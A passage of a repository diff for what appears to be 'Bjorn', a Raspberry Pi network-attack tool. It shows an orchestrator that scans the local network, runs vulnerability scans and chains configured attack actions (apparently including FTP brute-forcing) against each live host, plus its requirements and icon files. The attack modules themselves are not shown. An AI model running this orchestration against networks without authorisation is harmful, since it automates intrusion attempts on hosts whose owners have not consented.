self.last_vuln_scan_time = datetime.min # Set the last vulnerability scan time to the minimum datetime value
|
||||||
|
self.load_actions() # Load all actions from the actions file
|
||||||
|
actions_loaded = [action.__class__.__name__ for action in self.actions + self.standalone_actions] # Get the names of the loaded actions
|
||||||
|
logger.info(f"Actions loaded: {actions_loaded}")
|
||||||
|
self.semaphore = threading.Semaphore(10) # Limit the number of active threads to 10
|
||||||
|
|
||||||
|
def load_actions(self):
|
||||||
|
"""Load all actions from the actions file"""
|
||||||
|
self.actions_dir = self.shared_data.actions_dir
|
||||||
|
with open(self.shared_data.actions_file, 'r') as file:
|
||||||
|
actions_config = json.load(file)
|
||||||
|
for action in actions_config:
|
||||||
|
module_name = action["b_module"]
|
||||||
|
if module_name == 'scanning':
|
||||||
|
self.load_scanner(module_name)
|
||||||
|
elif module_name == 'nmap_vuln_scanner':
|
||||||
|
self.load_nmap_vuln_scanner(module_name)
|
||||||
|
else:
|
||||||
|
self.load_action(module_name, action)
|
||||||
|
|
||||||
|
def load_scanner(self, module_name):
|
||||||
|
"""Load the network scanner"""
|
||||||
|
module = importlib.import_module(f'actions.{module_name}')
|
||||||
|
b_class = getattr(module, 'b_class')
|
||||||
|
self.network_scanner = getattr(module, b_class)(self.shared_data)
|
||||||
|
|
||||||
|
def load_nmap_vuln_scanner(self, module_name):
|
||||||
|
"""Load the nmap vulnerability scanner"""
|
||||||
|
self.nmap_vuln_scanner = NmapVulnScanner(self.shared_data)
|
||||||
|
|
||||||
|
def load_action(self, module_name, action):
|
||||||
|
"""Load an action from the actions file"""
|
||||||
|
module = importlib.import_module(f'actions.{module_name}')
|
||||||
|
try:
|
||||||
|
b_class = action["b_class"]
|
||||||
|
action_instance = getattr(module, b_class)(self.shared_data)
|
||||||
|
action_instance.action_name = b_class
|
||||||
|
action_instance.port = action.get("b_port")
|
||||||
|
action_instance.b_parent_action = action.get("b_parent")
|
||||||
|
if action_instance.port == 0:
|
||||||
|
self.standalone_actions.append(action_instance)
|
||||||
|
else:
|
||||||
|
self.actions.append(action_instance)
|
||||||
|
except AttributeError as e:
|
||||||
|
logger.error(f"Module {module_name} is missing required attributes: {e}")
|
||||||
|
|
||||||
|
def process_alive_ips(self, current_data):
|
||||||
|
"""Process all IPs with alive status set to 1"""
|
||||||
|
any_action_executed = False
|
||||||
|
action_executed_status = None
|
||||||
|
|
||||||
|
for action in self.actions:
|
||||||
|
for row in current_data:
|
||||||
|
if row["Alive"] != '1':
|
||||||
|
continue
|
||||||
|
ip, ports = row["IPs"], row["Ports"].split(';')
|
||||||
|
action_key = action.action_name
|
||||||
|
|
||||||
|
if action.b_parent_action is None:
|
||||||
|
with self.semaphore:
|
||||||
|
if self.execute_action(action, ip, ports, row, action_key, current_data):
|
||||||
|
action_executed_status = action_key
|
||||||
|
any_action_executed = True
|
||||||
|
self.shared_data.bjornorch_status = action_executed_status
|
||||||
|
|
||||||
|
for child_action in self.actions:
|
||||||
|
if child_action.b_parent_action == action_key:
|
||||||
|
with self.semaphore:
|
||||||
|
if self.execute_action(child_action, ip, ports, row, child_action.action_name, current_data):
|
||||||
|
action_executed_status = child_action.action_name
|
||||||
|
self.shared_data.bjornorch_status = action_executed_status
|
||||||
|
break
|
||||||
|
break
|
||||||
|
|
||||||
|
for child_action in self.actions:
|
||||||
|
if child_action.b_parent_action:
|
||||||
|
action_key = child_action.action_name
|
||||||
|
for row in current_data:
|
||||||
|
ip, ports = row["IPs"], row["Ports"].split(';')
|
||||||
|
with self.semaphore:
|
||||||
|
if self.execute_action(child_action, ip, ports, row, action_key, current_data):
|
||||||
|
action_executed_status = child_action.action_name
|
||||||
|
any_action_executed = True
|
||||||
|
self.shared_data.bjornorch_status = action_executed_status
|
||||||
|
break
|
||||||
|
|
||||||
|
return any_action_executed
|
||||||
|
|
||||||
|
|
||||||
|
def execute_action(self, action, ip, ports, row, action_key, current_data):
|
||||||
|
"""Execute an action on a target"""
|
||||||
|
if hasattr(action, 'port') and str(action.port) not in ports:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Check parent action status
|
||||||
|
if action.b_parent_action:
|
||||||
|
parent_status = row.get(action.b_parent_action, "")
|
||||||
|
if 'success' not in parent_status:
|
||||||
|
return False # Skip child action if parent action has not succeeded
|
||||||
|
|
||||||
|
# Check if the action is already successful and if retries are disabled for successful actions
|
||||||
|
if 'success' in row[action_key]:
|
||||||
|
if not self.shared_data.retry_success_actions:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
last_success_time = datetime.strptime(row[action_key].split('_')[1] + "_" + row[action_key].split('_')[2], "%Y%m%d_%H%M%S")
|
||||||
|
if datetime.now() < last_success_time + timedelta(seconds=self.shared_data.success_retry_delay):
|
||||||
|
retry_in_seconds = (last_success_time + timedelta(seconds=self.shared_data.success_retry_delay) - datetime.now()).seconds
|
||||||
|
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
|
||||||
|
logger.warning(f"Skipping action {action.action_name} for {ip}:{action.port} due to success retry delay, retry possible in: {formatted_retry_in}")
|
||||||
|
return False # Skip if the success retry delay has not passed
|
||||||
|
except ValueError as ve:
|
||||||
|
logger.error(f"Error parsing last success time for {action.action_name}: {ve}")
|
||||||
|
|
||||||
|
last_failed_time_str = row.get(action_key, "")
|
||||||
|
if 'failed' in last_failed_time_str:
|
||||||
|
try:
|
||||||
|
last_failed_time = datetime.strptime(last_failed_time_str.split('_')[1] + "_" + last_failed_time_str.split('_')[2], "%Y%m%d_%H%M%S")
|
||||||
|
if datetime.now() < last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay):
|
||||||
|
retry_in_seconds = (last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay) - datetime.now()).seconds
|
||||||
|
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
|
||||||
|
logger.warning(f"Skipping action {action.action_name} for {ip}:{action.port} due to failed retry delay, retry possible in: {formatted_retry_in}")
|
||||||
|
return False # Skip if the retry delay has not passed
|
||||||
|
except ValueError as ve:
|
||||||
|
logger.error(f"Error parsing last failed time for {action.action_name}: {ve}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
logger.info(f"Executing action {action.action_name} for {ip}:{action.port}")
|
||||||
|
self.shared_data.bjornstatustext2 = ip
|
||||||
|
result = action.execute(ip, str(action.port), row, action_key)
|
||||||
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
if result == 'success':
|
||||||
|
row[action_key] = f'success_{timestamp}'
|
||||||
|
else:
|
||||||
|
row[action_key] = f'failed_{timestamp}'
|
||||||
|
self.shared_data.write_data(current_data)
|
||||||
|
return result == 'success'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Action {action.action_name} failed: {e}")
|
||||||
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
row[action_key] = f'failed_{timestamp}'
|
||||||
|
self.shared_data.write_data(current_data)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def execute_standalone_action(self, action, current_data):
|
||||||
|
"""Execute a standalone action"""
|
||||||
|
row = next((r for r in current_data if r["MAC Address"] == "STANDALONE"), None)
|
||||||
|
if not row:
|
||||||
|
row = {
|
||||||
|
"MAC Address": "STANDALONE",
|
||||||
|
"IPs": "STANDALONE",
|
||||||
|
"Hostnames": "STANDALONE",
|
||||||
|
"Ports": "0",
|
||||||
|
"Alive": "0"
|
||||||
|
}
|
||||||
|
current_data.append(row)
|
||||||
|
|
||||||
|
action_key = action.action_name
|
||||||
|
if action_key not in row:
|
||||||
|
row[action_key] = ""
|
||||||
|
|
||||||
|
# Check if the action is already successful and if retries are disabled for successful actions
|
||||||
|
if 'success' in row[action_key]:
|
||||||
|
if not self.shared_data.retry_success_actions:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
last_success_time = datetime.strptime(row[action_key].split('_')[1] + "_" + row[action_key].split('_')[2], "%Y%m%d_%H%M%S")
|
||||||
|
if datetime.now() < last_success_time + timedelta(seconds=self.shared_data.success_retry_delay):
|
||||||
|
retry_in_seconds = (last_success_time + timedelta(seconds=self.shared_data.success_retry_delay) - datetime.now()).seconds
|
||||||
|
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
|
||||||
|
logger.warning(f"Skipping standalone action {action.action_name} due to success retry delay, retry possible in: {formatted_retry_in}")
|
||||||
|
return False # Skip if the success retry delay has not passed
|
||||||
|
except ValueError as ve:
|
||||||
|
logger.error(f"Error parsing last success time for {action.action_name}: {ve}")
|
||||||
|
|
||||||
|
last_failed_time_str = row.get(action_key, "")
|
||||||
|
if 'failed' in last_failed_time_str:
|
||||||
|
try:
|
||||||
|
last_failed_time = datetime.strptime(last_failed_time_str.split('_')[1] + "_" + last_failed_time_str.split('_')[2], "%Y%m%d_%H%M%S")
|
||||||
|
if datetime.now() < last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay):
|
||||||
|
retry_in_seconds = (last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay) - datetime.now()).seconds
|
||||||
|
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
|
||||||
|
logger.warning(f"Skipping standalone action {action.action_name} due to failed retry delay, retry possible in: {formatted_retry_in}")
|
||||||
|
return False # Skip if the retry delay has not passed
|
||||||
|
except ValueError as ve:
|
||||||
|
logger.error(f"Error parsing last failed time for {action.action_name}: {ve}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
logger.info(f"Executing standalone action {action.action_name}")
|
||||||
|
result = action.execute()
|
||||||
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
if result == 'success':
|
||||||
|
row[action_key] = f'success_{timestamp}'
|
||||||
|
logger.info(f"Standalone action {action.action_name} executed successfully")
|
||||||
|
else:
|
||||||
|
row[action_key] = f'failed_{timestamp}'
|
||||||
|
logger.error(f"Standalone action {action.action_name} failed")
|
||||||
|
self.shared_data.write_data(current_data)
|
||||||
|
return result == 'success'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Standalone action {action.action_name} failed: {e}")
|
||||||
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
row[action_key] = f'failed_{timestamp}'
|
||||||
|
self.shared_data.write_data(current_data)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""Run the orchestrator cycle to execute actions"""
|
||||||
|
#Run the scanner a first time to get the initial data
|
||||||
|
self.shared_data.bjornorch_status = "NetworkScanner"
|
||||||
|
self.shared_data.bjornstatustext2 = "First scan..."
|
||||||
|
self.network_scanner.scan()
|
||||||
|
self.shared_data.bjornstatustext2 = ""
|
||||||
|
while not self.shared_data.orchestrator_should_exit:
|
||||||
|
current_data = self.shared_data.read_data()
|
||||||
|
any_action_executed = False
|
||||||
|
action_executed_status = None
|
||||||
|
action_retry_pending = False
|
||||||
|
any_action_executed = self.process_alive_ips(current_data)
|
||||||
|
|
||||||
|
for action in self.actions:
|
||||||
|
for row in current_data:
|
||||||
|
if row["Alive"] != '1':
|
||||||
|
continue
|
||||||
|
ip, ports = row["IPs"], row["Ports"].split(';')
|
||||||
|
action_key = action.action_name
|
||||||
|
|
||||||
|
if action.b_parent_action is None:
|
||||||
|
with self.semaphore:
|
||||||
|
if self.execute_action(action, ip, ports, row, action_key, current_data):
|
||||||
|
action_executed_status = action_key
|
||||||
|
any_action_executed = True
|
||||||
|
self.shared_data.bjornorch_status = action_executed_status
|
||||||
|
|
||||||
|
for child_action in self.actions:
|
||||||
|
if child_action.b_parent_action == action_key:
|
||||||
|
with self.semaphore:
|
||||||
|
if self.execute_action(child_action, ip, ports, row, child_action.action_name, current_data):
|
||||||
|
action_executed_status = child_action.action_name
|
||||||
|
self.shared_data.bjornorch_status = action_executed_status
|
||||||
|
break
|
||||||
|
break
|
||||||
|
|
||||||
|
for child_action in self.actions:
|
||||||
|
if child_action.b_parent_action:
|
||||||
|
action_key = child_action.action_name
|
||||||
|
for row in current_data:
|
||||||
|
ip, ports = row["IPs"], row["Ports"].split(';')
|
||||||
|
with self.semaphore:
|
||||||
|
if self.execute_action(child_action, ip, ports, row, action_key, current_data):
|
||||||
|
action_executed_status = child_action.action_name
|
||||||
|
any_action_executed = True
|
||||||
|
self.shared_data.bjornorch_status = action_executed_status
|
||||||
|
break
|
||||||
|
|
||||||
|
self.shared_data.write_data(current_data)
|
||||||
|
|
||||||
|
if not any_action_executed:
|
||||||
|
self.shared_data.bjornorch_status = "IDLE"
|
||||||
|
self.shared_data.bjornstatustext2 = ""
|
||||||
|
logger.info("No available targets. Running network scan...")
|
||||||
|
if self.network_scanner:
|
||||||
|
self.shared_data.bjornorch_status = "NetworkScanner"
|
||||||
|
self.network_scanner.scan()
|
||||||
|
# Relire les données mises à jour après le scan
|
||||||
|
current_data = self.shared_data.read_data()
|
||||||
|
any_action_executed = self.process_alive_ips(current_data)
|
||||||
|
if self.shared_data.scan_vuln_running:
|
||||||
|
current_time = datetime.now()
|
||||||
|
if current_time >= self.last_vuln_scan_time + timedelta(seconds=self.shared_data.scan_vuln_interval):
|
||||||
|
try:
|
||||||
|
logger.info("Starting vulnerability scans...")
|
||||||
|
for row in current_data:
|
||||||
|
if row["Alive"] == '1':
|
||||||
|
ip = row["IPs"]
|
||||||
|
scan_status = row.get("NmapVulnScanner", "")
|
||||||
|
|
||||||
|
# Check success retry delay
|
||||||
|
if 'success' in scan_status:
|
||||||
|
last_success_time = datetime.strptime(scan_status.split('_')[1] + "_" + scan_status.split('_')[2], "%Y%m%d_%H%M%S")
|
||||||
|
if not self.shared_data.retry_success_actions:
|
||||||
|
logger.warning(f"Skipping vulnerability scan for {ip} because retry on success is disabled.")
|
||||||
|
continue # Skip if retry on success is disabled
|
||||||
|
if datetime.now() < last_success_time + timedelta(seconds=self.shared_data.success_retry_delay):
|
||||||
|
retry_in_seconds = (last_success_time + timedelta(seconds=self.shared_data.success_retry_delay) - datetime.now()).seconds
|
||||||
|
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
|
||||||
|
logger.warning(f"Skipping vulnerability scan for {ip} due to success retry delay, retry possible in: {formatted_retry_in}")
|
||||||
|
# Skip if the retry delay has not passed
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check failed retry delay
|
||||||
|
if 'failed' in scan_status:
|
||||||
|
last_failed_time = datetime.strptime(scan_status.split('_')[1] + "_" + scan_status.split('_')[2], "%Y%m%d_%H%M%S")
|
||||||
|
if datetime.now() < last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay):
|
||||||
|
retry_in_seconds = (last_failed_time + timedelta(seconds=self.shared_data.failed_retry_delay) - datetime.now()).seconds
|
||||||
|
formatted_retry_in = str(timedelta(seconds=retry_in_seconds))
|
||||||
|
logger.warning(f"Skipping vulnerability scan for {ip} due to failed retry delay, retry possible in: {formatted_retry_in}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
with self.semaphore:
|
||||||
|
result = self.nmap_vuln_scanner.execute(ip, row, "NmapVulnScanner")
|
||||||
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
if result == 'success':
|
||||||
|
row["NmapVulnScanner"] = f'success_{timestamp}'
|
||||||
|
else:
|
||||||
|
row["NmapVulnScanner"] = f'failed_{timestamp}'
|
||||||
|
self.shared_data.write_data(current_data)
|
||||||
|
self.last_vuln_scan_time = current_time
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during vulnerability scan: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
else:
|
||||||
|
logger.warning("No network scanner available.")
|
||||||
|
self.failed_scans_count += 1
|
||||||
|
if self.failed_scans_count >= 1:
|
||||||
|
for action in self.standalone_actions:
|
||||||
|
with self.semaphore:
|
||||||
|
if self.execute_standalone_action(action, current_data):
|
||||||
|
self.failed_scans_count = 0
|
||||||
|
break
|
||||||
|
idle_start_time = datetime.now()
|
||||||
|
idle_end_time = idle_start_time + timedelta(seconds=self.shared_data.scan_interval)
|
||||||
|
while datetime.now() < idle_end_time:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
break
|
||||||
|
remaining_time = (idle_end_time - datetime.now()).seconds
|
||||||
|
self.shared_data.bjornorch_status = "IDLE"
|
||||||
|
self.shared_data.bjornstatustext2 = ""
|
||||||
|
sys.stdout.write('\x1b[1A\x1b[2K')
|
||||||
|
logger.warning(f"Scanner did not find any new targets. Next scan in: {remaining_time} seconds")
|
||||||
|
time.sleep(1)
|
||||||
|
self.failed_scans_count = 0
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
self.failed_scans_count = 0
|
||||||
|
action_retry_pending = True
|
||||||
|
|
||||||
|
if action_retry_pending:
|
||||||
|
self.failed_scans_count = 0
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
orchestrator = Orchestrator()
|
||||||
|
orchestrator.run()
|
||||||
15
requirements.txt
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
RPi.GPIO==0.7.1
|
||||||
|
spidev==3.5
|
||||||
|
Pillow==9.4.0
|
||||||
|
numpy==2.1.3
|
||||||
|
rich==13.9.4
|
||||||
|
pandas==2.2.3
|
||||||
|
netifaces==0.11.0
|
||||||
|
ping3==4.0.8
|
||||||
|
get-mac==0.9.2
|
||||||
|
paramiko==3.5.0
|
||||||
|
smbprotocol==1.14.0
|
||||||
|
pysmb==1.2.10
|
||||||
|
pymysql==1.1.1
|
||||||
|
sqlalchemy==2.0.36
|
||||||
|
python-nmap==0.7.1
|
||||||
0
resources/__init__.py
Normal file
1170
resources/comments/comments.json
Normal file
1
resources/comments/comments.json.cache
Normal file
BIN
resources/fonts/Arial.ttf
Normal file
BIN
resources/fonts/ArialB.TTF
Normal file
BIN
resources/fonts/Cartoon.ttf
Normal file
BIN
resources/fonts/Creamy.ttf
Normal file
BIN
resources/fonts/Viking.TTF
Normal file
BIN
resources/images/static/AI.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/attack.bmp
Normal file
|
After Width: | Height: | Size: 158 B |
BIN
resources/images/static/attacks.bmp
Normal file
|
After Width: | Height: | Size: 134 B |
BIN
resources/images/static/auto.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/bjorn1.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/static/bluetooth.bmp
Normal file
|
After Width: | Height: | Size: 446 B |
BIN
resources/images/static/connected.bmp
Normal file
|
After Width: | Height: | Size: 670 B |
BIN
resources/images/static/cred.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/data.bmp
Normal file
|
After Width: | Height: | Size: 938 B |
BIN
resources/images/static/ethernet.bmp
Normal file
|
After Width: | Height: | Size: 670 B |
BIN
resources/images/static/frise.bmp
Normal file
|
After Width: | Height: | Size: 4.0 KiB |
BIN
resources/images/static/gold.bmp
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
resources/images/static/level.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/manual.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/manual_icon.png
Normal file
|
After Width: | Height: | Size: 14 KiB |
BIN
resources/images/static/money.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/networkkb.bmp
Normal file
|
After Width: | Height: | Size: 134 B |
BIN
resources/images/static/port.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/target.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/usb.bmp
Normal file
|
After Width: | Height: | Size: 670 B |
BIN
resources/images/static/vuln.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/static/wifi.bmp
Normal file
|
After Width: | Height: | Size: 950 B |
BIN
resources/images/static/zombie.bmp
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
resources/images/status/FTPBruteforce/FTPBruteforce.bmp
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
resources/images/status/FTPBruteforce/FTPBruteforce1.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE.bmp
Normal file
|
After Width: | Height: | Size: 174 B |
BIN
resources/images/status/IDLE/IDLE1.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE10.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE11.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE2.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE3.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE4.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE5.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE6.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE7.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE8.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/IDLE/IDLE9.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/LogStandalone/LogStandalone.bmp
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
resources/images/status/LogStandalone/LogStandalone1.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/LogStandalone2/LogStandalone2.bmp
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
resources/images/status/LogStandalone2/LogStandalone22.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner.bmp
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner1.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner2.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner3.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner4.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner5.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner6.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner7.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NetworkScanner/NetworkScanner8.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner.bmp
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner1.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner2.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner3.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner4.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner5.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner6.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner7.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
resources/images/status/NmapVulnScanner/NmapVulnScanner8.bmp
Normal file
|
After Width: | Height: | Size: 18 KiB |